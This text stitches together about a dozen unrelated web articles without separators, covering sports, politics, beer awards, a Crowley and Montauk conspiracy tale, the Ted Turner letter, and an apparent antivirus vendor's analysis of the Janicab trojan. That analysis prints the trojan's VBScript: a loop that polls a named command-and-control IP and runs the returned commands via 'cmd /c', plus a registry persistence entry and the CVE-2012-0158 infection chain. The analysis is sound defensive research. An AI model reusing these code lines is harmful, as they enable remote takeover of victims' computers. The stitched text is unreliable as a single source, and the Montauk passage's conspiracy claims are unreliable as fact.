just the man to fit the bill. Or perhaps it's all a crock of horse water… During the summer of 1918, Crowley took a "magical retirement" to Montauk Point, the specifics of which remain obscured to this day, although Peter Moon suspects that his visit there was related to the future freaky developments associated with the Montauk Project. In Montauk Revisited: Adventures in Synchronicity , Moon alludes to the possibility that Uncle Al may have been "creating worm holes from the physical realm to other realities and back again", and that the "bizarre manipulations at Montauk and in Philadelphia could have been elaborate physical deployments at the behest of simply one very powerful magician." In the opinion of one Montauk insider, Crowley is seen as a "wild joker who was romping around and having a good time without regard to how it might affect us." Moon recognizes this joker archetype as "The Fool" from the Tarot deck and comments that: "This is the wild creative impulse that started the whole universe. It is the force that creates will-nilly, on whim and without regard to consequences…" Crowley mentions in his Magical Diaries that he picked up an odd colony of blisters during his stay on Montauk, and that they remained with him for five years. Whether these were attributable to some strange paranormal Montaukian event is unknown. A former (and possibly practicing) Scientologist, Peter Moon makes no bones about the vital influence he feels L. Ron Hubbard had upon these multifarious Montaukian mysteries. As noted in part one of this series, Hubbard was intimately involved with Crowleyan protégé Jack Parsons in a magical endeavor called The Babalon Working. According to those partial to a Montaukian worldview, Parsons — with help of Hubbard and Parson's wife, Marjorie Cameron — succeeded in creating a fissure in the space time continuum, which was quite similar to the type of vortex associated with The Philadelphia Experiment: a doorway into another dimension. After the Babalon Working, UFO sightings began to be reported en masse, as if a Devil's Floodgate had been opened, and into the earth realm flew powers and demons from beyond, much like an H.P. Lovecraft tale , unleashed on an unsuspecting human populace. In his Montaukian scenario, Peter Moon portrays Hubbard as a White Knight in a realm of high-tech black magicians; one of the "good guys" engaged in psychic warfare with malevolent mind controllers and rascally reality manipulators. Hubbard, it has been conjectured, was an agent of Naval Intelligence, and later claimed that he had infiltrated Parson's O.T.O. group on behalf of the government in order to break it up. Eventually, Hubbard would apparently have a falling out with his friends in high places, and in fact found himself at war with both the CIA and IRS. Much of his disharmony with these various governmental bodies had to do with L. Ron's objection to MK-ULTRA agents bent on warping the minds of humanity. Or, at least, that's the picture Peter Moon paints within the pages of the Montauk books. Part of L.Ron Hubbard's ontology revolved around the assertion that inhabitants of Earth (that's you and me) were formerly space aliens some million billion years ago and that we are working out our complex karma here on terra firma until eventually we can arrive at that much-sought-after state of "Clear", which is likened unto "Cosmic Consciousness" in the parlance of the New Age crowd. From all appearances, certain aspects of The Montauk Project mythos seems to be a continuance of Hubbard's psychotronic space opera. Furthermore, Moon suggests that there exists a certain bloodline connected to the Cameron namesake, of which Hubbard is an apparent member. Among other members of this bloodline are — as would be expected — super psychic Duncan Cameron, and his immediate family. Add to this list Jack Parson's wife, Marjorie Cameron, as well as such evil mind control geniuses as Dr. Ewen Cameron of MK-ULTRA infamy, and what we have is a genetic-Cameron-code inherently adept at such practices as magick and interdimensional travel. Moon indicates that there's an ongoing battle of good and evil taking place within the Cameron bloodline, pitting the likes or a Ewen Cameron against an L. Ron Hubbard. Hubbard, it should be noted, was the only public figure to condemn the activities of Ewen Cameron during the late 60's, when Cameron was active on the MK-ULTRA front, prescribing such treatments as "psychic driving" for his "patients." Apparently, bloodlines such of these play a major role in what's going on behind the Montauk Project scenes, not only in regards to the Cameron connection but as well with the aforementioned Montauk Boys, who were allegedly selected for experimentation due to their unique genetic qualities.
Damian Prince, a 5-star offensive tackle in the class of 2014, is a big guy at 6'6" and 300 pounds, but that doesn't make him immune to death threats. As is too often the case in recruiting, Prince revealed that he has received death threats, according to a feature by Brandon Parker of the Washington Post. Prince discussed a particularly chilling story involving fans who got his number and called him on FaceTime, per Parker: They were like "If you don’t come to our school, we’ll kill you and your family" and "we know where you live." Somehow they got my number and FaceTimed me, flashing guns and saying stuff. But they didn’t block their number or anything, so they weren’t too smart. Obviously, it can get very, very, very crazy. It bothered me at first, but I just brushed it off and once I kept declining the number, it just faded away. You just have to keep your circle small and prioritize, but I’m not going to lie; it’s hard sometimes. First of all, what kind of person flashes guns—FaceTime or not—at a high school kid? The fact that it has to do with something as arbitrary and ultimately unimportant as football and recruiting makes this story even more sickening. For as big as Prince is, this is still a kid we're talking about. Even if he was a grown man, nobody deserves to have to deal with that kind of ignorance and stupidity over anything. This is one of the downsides of the growing popularity of both recruiting and social media. On one hand, the combination allows real college football fans to interact with the future stars of the sport. It also gives them access to valuable information and insight at a moment's notice. On the other, it gives deranged, mentally unstable and childish "adults" the same availability to recruits and their families. As unfortunate as it is, it's oftentimes the lunatics and fringe fanatics that end up crossing the line and giving college football recruiting fans a bad name. This is one of those cases. Chances are this will be a crazy story that Prince can talk about at the end of a long career and nothing else. The fact that it even happened is truly despicable, though. Prince is the nation's No. 2 offensive tackle, according to the 247Sports Composite rankings. Alabama, Florida, Florida State, Georgia, Maryland, Ohio State, Rutgers, South Carolina, Tennessee and Vanderbilt are his top 10 schools, according to Parker's report. Sound off below.
By Chris Wright They said it may happen, then they said it probably wouldn’t happen, and now it’s bloody well happening – as of next season, Cardiff City (The Bluebirds) will be playing in a more dragon-y shade of red on the whim of their Malaysian owners, with their away strip reverting to blue and yellow… Said Cardiff chief executive Alan Whiteley: “We are only too aware that the change of colour is a radical and some would say revolutionary move which will be met with unease and apprehension by a number of supporters, along with being seen as controversial by many. “To those I would like to say that this was not a decision that has been taken lightly or without a great deal of thought and debate. There is no getting away from the fact that history and traditions are the lifeblood of any club and as such should be jealously guarded and preserved. “Both the board and our investors fully understand and respect this and will do their utmost to uphold, protect and promote the values and virtues which the club stands for.” Now, obviously it’s awful and corporate and soul-destroying, but get used to it. This is exactly the kind of trite business-centric shite we’re going to have to accept and put up with on an increasingly regular basis if professional football is to delay its inevitable implosion. It’s going to get far messier than this, believe us.
CLIFTON, N.J. (CBSNewYork) – A massive police presence at a group of stores in Clifton, New Jersey, Saturday night was sparked by a hoax call, authorities confirmed to CBS2. The Passaic County Sheriff’s Office said the call of a hostage scare they received around 8 p.m. was a case of “swatting.” As CBS2’s Valerie Castro reported, “swatting” is a trend of calling in a fake threat to provoke a police response. In this case, a group of video game fans gathered for an event at a video game store was the target. “We didn’t know what to do, our minds were going in circles, our hearts were beating fast,” Argenis Lugardo said. At least two dozen people were inside Digital Press Video Games for a monthly video game social gathering when police arrived after reports of a hostage situation. “Some of us were told to go in to the basement and we had to stay quiet down there until we heard further instructions from the police,” Stephanie McKeon said. “They were locking doors, turning the lights off, telling everybody to duck, go in the basement,” Wesley Lugardo said. The group was eventually evacuated to the laundromat next door where they were detained and questioned, Castro reported. “One by one we came out with our hands up, there were cops with the shields and the machine guns, they did pat downs, they did zip ties or handcuffs,” McKeon said. Eventually, the group was allowed to leave. “At the end of the day, we just thank God that we’re both still alive and here to tell you the story about what happened and just hope nothing like this happens again,” Argenis Lugardo said. No injuries were reported and no arrests have been made. Route 46 was shut down in both directions as police investigated.
Former House Majority Leader Tom Delay called Sen. Jim Bunning (R-Ky.) "brave" on Sunday for launching a one-man filibuster of unemployment benefits, arguing that they dissuaded people from going out and finding work. Appearing on CNN's "State of the Union," the Texas Republican said that Bunning's fiscal responsibility was commendable, even if his shenanigans (refusing to allow unemployment benefits to be considered by unanimous consent) nearly brought the Senate to a halt. "Nothing would have happened if the Democrats had just paid for [the benefits]," Delay said. "People would have gotten their unemployment compensation. I think Bunning was brave in standing up there and taking it on by himself." Asked whether it was bad strategy to make a budget stand on a $10 billion extension of unemployment (as opposed to, say, the Bush's $720 billion prescription drug package), Delay insisted that if the PR had been done right, Bunning would have been applauded. Helping the unemployed with federal assistance, he said, was unsound policy. "You know," Delay said, "there is an argument to be made that these extensions, the unemployment benefits keeps people from going and finding jobs. In fact there are some studies that have been done that show people stay on unemployment compensation and they don't look for a job until two or three weeks before they know the benefits are going to run out. Host Candy Crowley: Congressman, that's a hard sell, isn't it? Delay: it's the truth. Crowley: People are unemployed because they want to be?
BY: Follow @DavidRutz House Minority Leader Nancy Pelosi (D., Calif.) said Thursday at her weekly briefing that she has "confidence" in President Obama's belief that the Islamic State terrorist group was "contained." Obama remarked that the terror group was contained in an interview last week with ABC, but those remarks came under fresh scrutiny after the terror group launched coordinated attacks in Paris last Friday that killed more than 120 people. At a press conference Monday, Obama was asked by multiple reporters whether he fully understood the group and if a new strategy was in order. "Last week, President Obama said ISIS [the Islamic State] was contained," a reporter told Pelosi. "Was he right when he said that?" Pelosi smiled as the question began but she appeared angry when she made her response. "We are prepared to defeat ISIS by any definition," Pelosi said. "The president has engaged with more than 65 other countries to defeat ISIS. The president knows better than any of us the threat that they pose to the security of the world and to the American people. So I have confidence in the president's take on what is out there." CIA Director John Brennan said this week that the terror group has grown 4,400 percent, with anywhere between 20,000 and 31,5000 fighters across the Middle East. CNN's Christiane Amanpour and Sen. Dianne Feinstein (D., Calif.) were among those who said Obama was wrong to say that the Islamic State was contained. "I’ve never been more concerned," Feinstein said on MSNBC Monday. "I read the intelligence faithfully. ISIL is not contained. ISIL is expanding."
DENVER -- Only one Cincinnati brewery will be taking home hardware from the Great American Beer Festival this year. However, breweries from Ohio and Indiana made a strong showing at the big event in the Mile High City this year. Over-the-Rhine-based Rhinegeist Brewing won silver in the Wood- and Barrel-Aged Strong Stout category for its Sherry Ink. They were the only Cincinnati brewery to win this year out of the 10 that submitted beers. “It’s a really tough challenge and you have to really believe that you’re making the great beer every today. Winning a medal like this is validation for all our hard work -- that we’re actually making good beer,” Rhinegeist co-founder Bryant Goulding said. The experience was overwhelming for the brewers with everyone jumping up and high-fiving them. Goulding said a former coworker at another brewery even came over and gave him a hug. “I was just trying not to cry the entire time I was up there,” Goulding said. The brewery just recently bottled Sherry Ink and they are already working on new labels for the beer. The brewery is even testing new paper to use to label the bottles. “Ink is one of our favorite beers, and this iteration will help bolster our barrel-aged beer series,” Goulding said. Fans who purchase Sherry Ink as it hits store shelves are encourage to open it immediately, and cellar one bottle if more than one is purchased. The brewers said they believe it will gain complexity of flavor as it ages. Even though the others didn't win, many of Cincinnati's brewers said the experience is educational and will help them grow. “We’re having fun; we’re learning a ton. In terms of competition, you always try to figure out what’s the best category to enter your beers into. I can tell you every time we get feedback from GABF or World Beer Cup -- the feedback is increasingly positive. So I feel we’re moving in the right direction,” MadTree co-founder Brady Duncan said. Last year, three Cincinnati brewers took home medals. Listermann Brewing and Ei8ht Ball Brewing took home bronze medals while Sam Adams won a gold. A wealth of Ohio breweries won medals this year though. One of the biggest wins of the festival was in the American-style India Pale Ale category. Out of the 336 entries – that’s 5 percent of the overall entries – Strongsville, Ohio’s The Brew Kettle Brewery won bronze. Another big winner for the Buckeye State was Fat Head’s Brewery of North Olmsted. Its Cleveland-area based brewery won gold in the Imperial IPA category for Hop Juju and gold in the Double Red Ale category for Bone Head Imperial Red. It also won gold in the American-style Black Ale category for Midnight Moonlight. Plus it notched a silver medal for its Black Knight German-style Schwarzbier. The brewers were up accepting their first medal when the Double Red Ale category was announced. Fat Head’s Oregon-based brewery won gold in the Rye Beer category for its Blitzkrieg Bock. Rounding out of the rest in Ohio are: Elevator Brewing (Columbus): won bronze for American-Style Wheat - Mogabi Platform Beers (Cleveland): won gold in the Historical Beer category Lager Heads (Medina, Ohio): won bronze in the Smoke Beer category JAFB Wooster Brewrey (Wooster, Ohio): silver in the International-Style Pale Ale for its Rain Delay IPA Moving west to Indiana, Sun King Brewing will be taking home some major honors. Their fist win came in the Belgian-Style Fruit Beer category. They won bronze for their Cherry Busey. That was quickly followed by a silver in the Wood- and Barrel-Aged Strong Beer section for Sun King’s Batch 666: Sympathy for the Devil. They picked up a gold medal for their Sunlight Cream Ale in the Golden or Blonde Ale category for their third medal of the day. Indiana saw six other brewers win medals on Saturday. The list includes: Tap Beer Co. (Bloomington, Ind.): won gold in the Honey Beer category Thr3e Wise Men Brewing (Indianapolis): won for its Antonius 1742 Oktoberfest in the German-Style Marzen category; it won bronze in the German-Style Doppelbock or Eisbock section for its Hot for Teacher Ms. Doppelbock Mad Anthony Brewing (Fort Wayne, Ind.): won gold in the American-Style Amber Lager category Flix Brewhouse (Carmel, Ind.): won silver in German-style Altbier for its Generation Alt Taxman Brewing (Bargersville, Ind.): won bronze in the Belgian-style Dubbel or Quardruple Bier Brewery (Indianapolis): won gold in the Belgian-style Dubbel or Quardruple The festival -- known as GABF -- is a yearly competition and expo held by the Brewers Association . It’s also one of the biggest beer competitions in the world. This year more 1,500 breweries submitted more than 6,500 beers for judging.
Multisystem Trojan Janicab attacks Windows and MacOSX via scripts On Friday, July 12th a warning from an AVAST fan about a new polymorphic multisystem threat came to an inbox of AVAST. Moreover, an archive of malicious files discussed here were attached. Some of them have been uploaded to Virustotal and therefore they have been shared with computer security professionals on the same day. A weekend had passed by and articles full of excitement about a new Trojan for MacOs started to appear on the web. We decided to make a thorough analysis and not to quickly jump on the bandwagon. The key observation is that the final payload comes in the form of scripts needed to be interpreted by Windows Script Console resp; Python in the case of MacOs. Moreover a script generator that creates new malicious Windows file shortcuts was also included. Windows version A chain of events that installs a malicious Visual Basic script on Windows platform looks like this: In the beginning there is a malicious Office Open XML Document containing two embedded binary files. One of them is called ActiveX.bin and it carries the main shell-code that is triggered by a widely spread exploit CVE-2012-0158 (under special settings ActiveX controls in MSCOMCTL.OCX trigger code execution). Shell-code itself in decrypted with a initial loop that uses 0xEE as a one-byte key. Then a few API functions necessary for dropping of another file are resolved by a hash (VirtualAlloc, CreateFile, ReadFile, WriteFile, GetTempPath, CloseHandle). In the figure we can see a check of a magic value 0xB19B00B5 (a shell-code consequently performs this step twice, because a general memory search could return an address of its own assembly instead of the location in the data). A temporary file "a.l" is created. The step that follows is decrypted from the second embedded binary with a name ActiveX1.bin. It is loaded into a buffer that is pointed by edi register. A two bytes and one double word are extracted and immediately used in a decryption routine (one-byte XOR with a key additively changed by a constant in every iteration). A dynamic linked library is dropped and loaded. The dropper simply loads and executes two files in resources that are unencrypted. The first is a Word document that is not malicious and its purpose is not to raise any suspicion after opening such a document. The second is a malicious Visual Basic script "1.vbe" encoded with a Windows Script Encoder screnc.exe. This script is a final payload of the chain and is tagged with a version number "1.0.4". Depending on the system version, the malware seeks for an antivirus product in Windows Management Instrumentation (WMI) executing query "Select displayName from AntiVirusProduct" on the WMI object "winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2". It stores a value into the variable installedAV. Then it randomly chooses a youtube.com link from a hard-coded list and evaluates a regular expression on the received content: randLink = YouTubeLinks(Int((max-min+1)*Rnd+min))outputHTML = getPage(randLink, 60)Set objRE = New RegExp With objRE .Pattern = "just something i made up for fun, check out my website at (.*) bye bye" .IgnoreCase = True End With Set objMatch = objRE.Execute( outputHTML ) If objMatch.Count = 1 Then server = "http://" & objMatch.Item(0).Submatches(0) End If if getPage(server & "/Status.php", 30) = "OK" Then serverExists = 1 End if Seeking the pattern on the web in cached YouTube pages it turned out that an expression "111.90.152.210/cc" could have been returned as a C&C server address. Persistence on the infected system is decided by C&C: startupMethod = getPage(server & "/sMethod.php?av=" & installedAV, 60) If it commands a keyword "reg" as a startup method then a registry file containing lines "[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] "Shell"="wscript.exe \"%userprofile%\\SystemFolder\\.vbe\"" will be imported. Spying functionality is not present in this variant. The main malicious action is constantly awaiting commands from C&C to execute it on the victim's computer (getPage involves creating "InternetExplorer.Application" object and returning html content of the given address): While 1 On Error Resume Next commandData = getPage(server & "/gcm.php?sn=" & Serial, 30)If not IsNull(commandData) And commandData "" Then s.Run "cmd /c " & c, 0 End IfWScript.Sleep 60000 Wend MacOsX version As mentioned in the introduction, the variant for MacOs uses Python compiled scripts and it is described with a lot of relevant screenshots (another reference is here). It uses a right-to-left override method to confuse the user while executing (Windows malware uses similar masking). The internal version number said "3.0.6" and so probably it was longer in development. Spying activities consist of recording audio using command line tool called "Sound eXchange" and taking screenshots controlled by mouse actions (resolved by a freely distributed command line tool mt which is a shortcut for MouseTools ): For comparison with the Windows version observe that a C&C server is obtained in very similar way: Persistence is achieved by adding an initial malicious script "runner.pyc" into cron: Script Builder There is a simple php script available that creates an archive with a file shortcut that runs a script derived from a particular template and displays any desired distracting image. As a script template implicitly works a Windows version of Janicab. Even if methods of generating new samples seem basic it is interesting to see malware coming as a whole package as it is in this case. Sources Finally, MD5 of some selected samples with the detections of avast! engine are provided. Detections of samples connected with the Windows version are very low prevalent within AV products. AmazingRaceCyprus.docx 73041092efeb04c4a5e9b6a1a217754c RTF:CVE-2012-0158-BO [Expl] JoseMOlazagasti.docx fef7fdfe74c071310956a753679c80e5 RTF:CVE-2012-0158-BO [Expl] AboutUs.docx b498d5de87575d4b999e203e71616b69 RTF:CVE-2012-0158-BO [Expl] Encoded VB Script 11c987d626f12892f848a42f0a95f810 VBS:Janicab-A [Trj] Dynamic Link Library #1 71eb77493e06b7c17c225cb36f5a054d Win32:Janicab-A [Drp] Dynamic Link Library #2 1b8406562b7c4b5cdeb393539245f7c0 Win32:Janicab-A [Drp] Acknowledgment Sincere gratitude goes to my colleague Jaromír Hořejší for cooperation on this analysis.
My dear son, I am appalled, even horrified, that you have adopted Classics as a major. As a matter of fact, I almost puked on the way home today. I suppose that I am old-fashioned enough to believe that the purpose of an education is to enable one to develop a community of interest with his fellow men, to learn to know them, and to learn how to get along with them. In order to do this, of course, he must learn what motivates them, and how to impel them to be pleased with his objectives and desires. I am a practical man, and for the life of me I cannot possibly understand why you should wish to speak Greek. With whom will you communicate in Greek? I have read, in recent years, the deliberations of Plato and Aristotle, and was interested to learn that the old bastards had minds which worked very similarly to the way our minds work today. I was amazed that they had so much time for deliberating and thinking, and was interested in the kind of civilization that would permit such useless deliberation. Then I got to thinking that it wasn't so amazing—after all they thought like we did because my Hereford cows today are very similar to those ten or twenty generations ago. I am amazed that you would adopt Plato and Aristotle as a vocation for several months when it might make pleasant and enjoyable reading to you in your leisure time as relaxation at a later date. For the life of me I cannot understand why you should be vitally interested in informing yourself about the influences of the Classics on English literature. It is not necessary for you to know how to make a gun in order to know how to use it. It would seem to me that it would be enough to learn English literature without going into what influence this or that ancient mythology might have upon it. As for Greek literature, the history of the Roman and Greek churches, and the art of those eras, it would seem to me that you would be much better off by learning something about contemporary literature and writings and things that might have some meaning to you with the people with whom you are to associate. These subjects might give you a community of interest with an isolated few impractical dreamers, and a select group of college professors. God forbid! It would seem to me that what you wish to do is to establish a community of interest with as many people as you possibly can. With people who are moving, who are doing things, and who have an interesting, not a decadent, outlook. I suppose everybody has to be a snob of some sort, and I suppose you will feel that you are distinguishing yourself from the herd by becoming a Classical snob. I can see you drifting into a bar, belting down a few, turning around to the guy on the stool next to you—a contemporary billboard baron form Podunk, Iowa—and saying, "Well, what do you think about old Leonidas?" Your friend, the billboard baron, will turn to you and say, "Leonidas who?" You will turn to him and say, "Why Leonidas, the prominent Greek of the Twelfth Century." He will, in turn, say to you, "Well, who in the hell was he?" You will say, "Oh, you don't know about Leonidas?" and dismiss him, and not discuss anything else with him the rest of the evening. He will feel that he is a clodhopper from Podunk, Iowa. I suppose this will make you both happy, and as a result of it, you will wind up buying his billboard plant. There is no question but this type of useless information will distinguish you, set you apart from the doers of the world. If I leave you enough money, you can retire to an ivory tower, and contemplate for the rest of your days the influence that the hieroglyphics of prehistoric man had upon the writings of William Faulkner. Incidentally, he was a contemporary of mine in Mississippi. We speak the same language—whores, sluts, strong words, and strong deeds. It isn't really important what I think. It's important what you wish to do with your life. I just wish I could feel that the influence of those oddball professors and the ivory towers were developing you into the kind of a man we can both be proud of. I am quite sure that we both will be pleased and delighted when I introduce you to some friend of mine and say, "This is my son. He speaks Greek." I had dinner during the Christmas holidays with an efficiency expert, an economic adviser to the nation of India, on the Board of Directors of Regents at Harvard University, who owns some 80,000 acres of valuable timber land down here, among his other assets. His son and his family were visiting him. He introduced me to his son, and then apologetically said, "He is a theoretical mathematician. I don't even know what he is talking about. He lives in a different world." After a little while I got to talking to his son, and the only thing he would talk to me about was about his work. I didn't know what he was talking about either so I left early. If you are going to stay on at Brown, and be a professor of Classics, the courses you have adopted will suit you for a lifetime association with Gale Noyes. Perhaps he will even teach you to make jelly. In my opinion, it won't do much to help you learn to get along with people in this world. I think you are rapidly becoming a jackass, and the sooner you get out of that filthy atmosphere, the better it will suit me. Oh, I know everybody says that a college education is a must. Well, I console myslef by saying that everybody said the world was square, except Columbus. You go ahead and go with the world, and I'll go it alone. I hope I am right. You are in the hands of the Philistines, and dammit, I sent you there. I am sorry. Devotedly, Dad In 1957, at 18 years of age, future billionaire and founder of CNN Ted Turner , informed his father that he would be majoring in Classics after being inspired by a professor at Brown University . His father was furious to say the least, and responded to his son's announcement with the following despairing letter — a letter which Ted later sent to the college paper in retaliation, who then reprinted it in full.
Spain's Ministry of Culture has just reported on the first month's activities following the introduction of the country's 'Sinde' anti-piracy law. The controversial legislation, described by some as a Spanish version of SOPA, took effect March 1st and since that time rightsholders have been busy filing notices. Almost 300 complaints have been filed in total including 79 site takedown requests. After being threatened with a place on a United States trade blacklist, the Spanish government passed the so-called Sinde Law, legislation that allows for the blocking of allegedly infringing sites based on reports from copyright holders. On March 1st the Sinde law went into effect and now, a month on, the Spanish Ministry of Culture has revealed that in total almost 300 official complaints have been received. The Comisión de Propiedad Intelectual (Copyright Commission) has received 213 copyright complaints plus 79 closure requests from rightsholders against specific websites accused of online piracy. The Commission will investigate all allegations and has the power to dismiss claims or set the ball rolling for further action, including the removal of links said to infringe copyright through to the court-ordered closure or ISP blockade of entire websites. Although the process between complaint and site shutdown can in theory be completed in about a month, the Ministry of Culture reports that no punitive action has yet been taken in respect of the 300 complaints. It is not clear how many of the complaints being processed, if any, are the result of a hacktivist sabotage campaign launched on the day the Sinde law came into effect. The group Hackivistas encouraged sites to link to a copyrighted track from artist Eme Navarro, a member of the music rights group SGAE but also an outspoken critic of the Sinde law. Hundreds of websites reportedly linking to Navarro’s song without permission, with Navarro subsequently reporting them to the Ministry of Culture. While the initial aim of the campaign was to overload the Commission, it was also designed to discover more about the uncertain takedown process. Current thinking suggests that Spanish hosting companies will be asked to shut down non-compliant websites and ISPs will be asked to block those hosted outside Spain. In theory it’s possible to shut down sites within a month, which could mean that the first closures from the first batch reported by the Ministry of Culture will be seen in April.
Andrew McCabe, James Comey, Rod Rosenstein—again and again, Trump and his aides have misrepresented and abused, if not fabricated, statements from trusted officials. Photo illustration by Slate. Photos by Alex Wong/Getty Images, Aaron P. Bernstein/Reuters, James Lawler Duggan/Reuters, and Kevin Lamarque/File Photo/Reuters. President Trump says a lot of things that aren’t true: that millions of illegal votes cost him the popular vote, that he saw thousands of Arabs in Jersey City cheering the 9/11 attacks, that President Obama tapped his phones in Trump Tower. Many people, including some of Trump’s supporters, have learned to doubt his claims. So Trump and his aides have figured out a way to shore up his credibility: quoting other, more trusted public figures. You can believe what Trump is saying, the argument goes, because some independent, well-respected official has confirmed it. But there’s a problem with this solution: A man who says things that aren’t true is also likely to misrepresent statements that supposedly back him up. And that’s what we’re seeing now, as the White House tries to explain why Trump fired FBI Director James Comey. On Tuesday, Trump released a letter in which he said he was firing Comey based on an attached memo from Deputy Attorney General Rod Rosenstein. The memo, dated Tuesday, argued that Comey had violated Justice Department protocol by treating Hillary Clinton unfairly. Every White House spokesperson, including Vice President Pence, attributed the idea of sacking Comey to Rosenstein. Counselor Kellyanne Conway hailed Rosenstein as a “nonpartisan figure” and quoted extensively from his memo. Press secretary Sean Spicer said, “It was all him.” Deputy press secretary Sarah Huckabee Sanders declared, “When the president gets a recommendation from somebody like that, that is so well respected, he has no choice but to listen to him and to make a swift and decisive action.” Pence, when he was asked on Wednesday whether Trump had requested the memo, said that Rosenstein simply “brought that recommendation to the president,” and Trump acted on it. These stories were false. Trump had solicited the memo in a meeting with Rosenstein and Attorney General Jeff Sessions on Monday. And he had already decided, even before the meeting, that he would terminate the FBI director. Pressed by NBC’s Lester Holt in an interview on Thursday, Trump admitted: “Regardless of recommendation, I was going to fire Comey.” Trump gave reasons for his decision—including disgust with inquiries into contacts between Russia and his associates—that were completely different from the reasons in Rosenstein’s memo. Rosenstein had been set up. Rosenstein isn’t the only official whose words the White House has abused. On Wednesday, Pence was asked whether Trump fired Comey because of the FBI’s Russia investigation. The vice president dismissed this idea, claiming that James Clapper, the former director of national intelligence, “said there is no evidence of collusion.” Trump extended that argument on Friday, tweeting that “James Clapper himself, and virtually everyone else with knowledge of the witch hunt, says there is no collusion.” But Clapper never said that. In his initial comments on March 5, Clapper said he was unaware of any intelligence that could resolve “whether there were improper contacts between the Trump campaign and Russian officials.” At a Senate hearing on Monday, Clapper explained that his unawareness didn’t mean that such evidence didn’t exist. “During my tenure as DNI, it was my practice to defer to the FBI director … on whether, when, and to what extent they would inform me about such investigations,” Clapper testified. He went on to note that he hadn’t even been aware—until Comey revealed it on March 20—that the FBI had been investigating contacts between Russia and Trump’s associates. On Friday, Clapper rejected Trump’s and Pence’s mischaracterizations of his statements. “I don’t know if there was collusion or not,” Clapper told NBC News. “I don’t know if there’s evidence of collusion or not.” But Spicer, when he was asked later in the day about these clarifications from the former DNI, ignored them. Clapper “said multiple times, including in testimony in front of Congress, under oath, that there was no collusion,” Spicer declared, falsely. The administration also claims that Comey himself vouched for the president’s innocence. In the letter he released Tuesday, Trump claimed that Comey had told him “on three separate occasions that I am not under investigation.” On Wednesday, Pence repeated this assertion, telling reporters that Trump “was informed several times by [Comey] that he himself was not under investigation.” In his interview with Holt, Trump elaborated: “He told me, ‘You are not under investigation.’ … He said it once at dinner, and then he said it twice during phone calls.” Trump said their interaction began this way: “He wanted to have dinner, because he wanted to stay on. … I think he asked for the dinner.” Comey tells the story quite differently. The New York Times, based on accounts from two associates to whom Comey described the encounter, relays his version this way: Comey “was summoned to the White House for a one-on-one dinner” with Trump, and Trump “turned the conversation to whether Mr. Comey would pledge his loyalty to him. Mr. Comey declined to make that pledge. … Later in the dinner, Mr. Trump again said to Mr. Comey that he needed his loyalty.” In this presentation of Comey’s account, there’s no mention of any pledge that Trump was not under investigation. On Friday, after the Times published this account, Trump tweeted a threat: “James Comey better hope that there are no ‘tapes’ of our conversations before he starts leaking to the press!” The tweet, which Spicer refused to explain at his Friday briefing, echoed Richard Nixon, and it made a mockery of Trump’s bogus accusations that Obama tapped his phones. But if documentation of the dinner conversation does turn up, it’s unlikely to help Trump. The last time a White House claimed that Comey had misrepresented a conversation—during the George W. Bush administration—Comey’s version was vindicated by the contemporaneous notes of the then-FBI director. In this case, Clapper has already supplied testimony that fits Comey’s account, not Trump’s. The former DNI told NBC News that in a chat just before going to the dinner, Comey “mentioned that he had been invited to the White House to have dinner with the president and that he was uneasy with that because of compromising … the appearance of independence, not only of him but of the FBI.” The White House also may have misrepresented the words of Comey’s temporary successor, Acting FBI Director Andrew McCabe. On Feb. 14, the Times reported that “members of Donald J. Trump’s 2016 presidential campaign and other Trump associates had repeated contacts with senior Russian intelligence officials in the year before the election.” White House chief of staff Reince Priebus went on a media tour to discredit the story. He claimed that a top intelligence official, identified by the White House as McCabe, had told Priebus—and authorized him to tell the public on behalf of the intelligence community—that “there’s nothing to” the Times report. In subsequent days, the White House repeated that McCabe and Comey, in the words of the Associated Press, “gave Priebus the go-ahead to discredit the story publicly.” These would be odd things for McCabe to say, given his congressional testimony—and Comey’s—about not discussing information from the FBI’s Russia investigation with the White House. They would also be odd because subsequent reporting has confirmed much of the Feb. 14 Times story. On Feb. 23, an anonymous “law enforcement official,” responding to the White House account of Priebus’ conversations with Comey and McCabe, told CNN that “McCabe didn’t discuss aspects of the case.” McCabe doesn’t seem to have spoken on the record about Priebus’ portrayal of their interaction, and he wasn’t asked about it at a Senate hearing on Thursday. (He did, however, debunk the White House’s bogus claim that the FBI rank and file wanted Comey out.) Next time McCabe is in front of Congress or the press, someone should ask him whether he told Priebus there was nothing to the Times report, and whether he authorized the chief of staff to discredit the story on behalf of the FBI. Rosenstein. Clapper. Comey. McCabe. Again and again, Trump, Pence, and their aides have misrepresented and abused, if not fabricated, statements from trusted officials. The lesson for the public is clear: Don’t believe the White House’s account of what anyone has said, particularly when it seems to exonerate the president. The lesson for officials is even clearer: Be careful what you say to or about Trump. Consider how your words could be twisted. Keep contemporaneous notes of your conversations with anyone at the White House. And don’t trust Trump to release his recording of what you said. Make your own.
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The Minor League season begins today, with 59 games scheduled to be played across the four full-season levels. Of course there's talent spread throughout the Minor Leagues, but certain teams stand out more than others. With that in mind, MLBPipeline.com has compiled a ranking of the Top 10 Minor League teams for fans to follow on Opening Day and throughout the season. 1. Triple-A Charlotte Knights (White Sox) No team made a bigger jump in MLBPipeline.com's Top 10 farm system rankings for 2017 than the Chicago White Sox, going from a consensus bottom-third system to No. 3 thanks to an offseason rebuild that saw general manager Rick Hahn trade cornerstones Chris Sale and Adam Eaton to acquire four Top 100 Prospects in Yoan Moncada (No. 2), Lucas Giolito (No. 10), Michael Kopech (No. 15) and Reynaldo Lopez (No. 44). Where baseball's top prospects are starting the 2017 season While Kopech is ticketed for Double-A Birmingham, Giolito and Lopez will headline a deep Knights rotation that also includes right-hander Carson Fulmer (No. 69 overall), the White Sox first-round Draft pick in 2015. All three hurlers received a taste of the Majors last season, with Lopez fairing the best of the bunch. Charlotte also will have an elite relief/closer prospect in right-hander Zack Burdi, who ascended to Triple-A last summer in his professional debut after the White Sox selected him in the first round. At the plate, the Knights boast a dynamic top-of-the-order pairing in Moncada and outfielder Adam Engel. Together, the speedsters combined to scored 187 runs and steal 90 bases in 2017, swiping 45 bags apiece. The Knights have the most loaded roster in the Minors and are one of two teams with four Top 100 prospects on their roster, and, in total, there are seven members of the White Sox Top 30 starting the year with Triple-A Charlotte. Watch on MLB.com Watch on MLB.com 2. Triple-A Durham Bulls (Rays) The Bulls' roster features 10 of the Rays' Top 30 prospects, including six players ranked in the Top 10. The group includes four of the club's five Top 100 prospects in Willy Adames (No. 20), Jose De Leon (No. 31), spring standout Jake Bauers (No. 73) and Casey 